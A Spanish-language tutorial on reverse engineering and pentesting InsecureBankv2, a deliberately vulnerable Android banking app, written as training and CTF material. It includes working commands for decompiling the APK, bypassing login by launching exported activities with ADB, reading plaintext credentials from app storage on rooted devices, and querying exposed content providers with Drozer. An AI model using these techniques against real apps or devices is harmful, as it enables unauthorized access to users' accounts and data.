← Volver al inicio
Android APK ADB Reverse Engineering Drozer JADX
Intermedio

Ingeniería Inversa: Análisis de InsecureBankv2

10/04/2022

InsecureBankv2 es una aplicación Android vulnerable por diseño, creada para que los analistas de seguridad practiquen ingeniería inversa, análisis estático (SAST) y análisis dinámico (DAST). En este manual abordaremos las vulnerabilidades más críticas de la arquitectura Android.

1. Análisis Estático (SAST): Desempaquetado e Ingeniería Inversa

Una APK es simplemente un archivo comprimido (ZIP). Sin embargo, su código fuente está compilado en bytecode (DEX). Necesitamos herramientas para revertirlo a formatos legibles.

Obtención del AndroidManifest y recursos (Apktool)

# Descompilar recursos y Manifest usando apktool en Kali Linux:
apktool d InsecureBankv2.apk -o InsecureBank_Source

# Leer el Manifest para identificar Actividades, Permisos y Broadcast Receivers:
cat InsecureBank_Source/AndroidManifest.xml

Obtención del Código Fuente Java (JADX)

Leer código Smali es muy tedioso. JADX decompila los archivos classes.dex directamente a código Java legible, permitiéndonos buscar contraseñas hardcodeadas o lógica criptográfica débil.

# Abrir la APK directamente en la interfaz gráfica de JADX:
jadx-gui InsecureBankv2.apk

# 1. Busca en "Resources/res/values/strings.xml" (Suele haber claves API aquí).
# 2. Revisa la clase "CryptoClass" (InsecureBank usa AES con una clave cifrada hardcodeada).

2. Análisis de Permisos (AndroidManifest.xml)

Un buen analista primero revisa qué pide la app para funcionar.

Tipo de PermisoDescripciónRiesgo
NormalesInternet, Bluetooth. Se conceden automáticamente.Bajo
Dangerous (Runtime)Cámara, Micrófono, Contactos, SMS, Ubicación. Requieren popup de confirmación al usuario.Alto
SignaturePermisos customizados. Solo apps firmadas por el mismo desarrollador pueden usarlos.Bajo
Device Admin / RootBloquear el teléfono, borrar datos o acceso completo a nivel Kernel.Crítico

🔴 Simulador ADB: Activity Bypass

Analizando el AndroidManifest.xml, descubres que la actividad de transferencias (.DoTransfer) tiene el atributo android:exported="true". Utiliza el Android Debug Bridge (ADB) y el Activity Manager (am) para invocar directamente esta pantalla en el móvil conectado y saltarte el login.

>_ INICIAR RETO CTF 24

3. Invocación de Actividades Exportadas (Bypass de Login)

Si una actividad (pantalla) en Android tiene android:exported="true", cualquier otra aplicación o usuario del dispositivo puede abrirla directamente, saltándose el flujo lógico de la app (ej. saltándose la pantalla de Login).

# 1. Conectarse al dispositivo Android virtual o físico:
adb connect 127.0.0.1:5555
adb shell

# 2. Iniciar una actividad específica forzadamente con el Activity Manager (am):
# Bypass hacia el panel post-login:
am start -n com.android.insecurebankv2/.PostLogin

# Bypass directo hacia la pantalla de cambio de contraseñas:
am start -n com.android.insecurebankv2/.ChangePassword

4. Análisis Dinámico (DAST) y Fuga de Datos Locales

Almacenar datos sin cifrar en el propio teléfono es el error #1 en aplicaciones móviles.

Fuga de Logs (Logcat)

Los desarrolladores a menudo dejan funciones Log.d() en el código de producción que imprimen contraseñas o tokens en los registros globales del sistema.

# Monitorizar los logs del dispositivo en tiempo real filtrando por la app:
adb logcat | grep "insecurebankv2"

Shared Preferences y SQLite (Root Requerido)

Si el atacante roba el teléfono y logra hacerle Root, puede extraer los archivos locales de la app ubicados en /data/data/com.android.insecurebankv2/.

adb shell
su
cd /data/data/com.android.insecurebankv2/

# 1. Shared Preferences (Contraseñas guardadas en texto claro XML):
cat shared_prefs/mySharedPreferences.xml

# 2. Base de datos local SQLite (Historial de transacciones sin cifrar):
sqlite3 databases/mydb
sqlite> SELECT * FROM transfers;

5. Drozer — El Framework de Pentesting Android

Drozer es el equivalente a Metasploit para aplicaciones Android. Interactúa con las apps mediante IPC (Inter-Process Communication).

# Conectarse al agente Drozer en el teléfono:
drozer console connect

# Identificar la superficie de ataque (Muestra qué está exportado):
dz> run app.package.attacksurface com.android.insecurebankv2

# Explotar Content Providers (Robo de datos a través de URIs vulnerables):
dz> run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers

6. Herramientas de Análisis Online (VT vs Metadefender)

Para análisis automatizado de Malware en APKs, plataformas como VirusTotal son indispensables.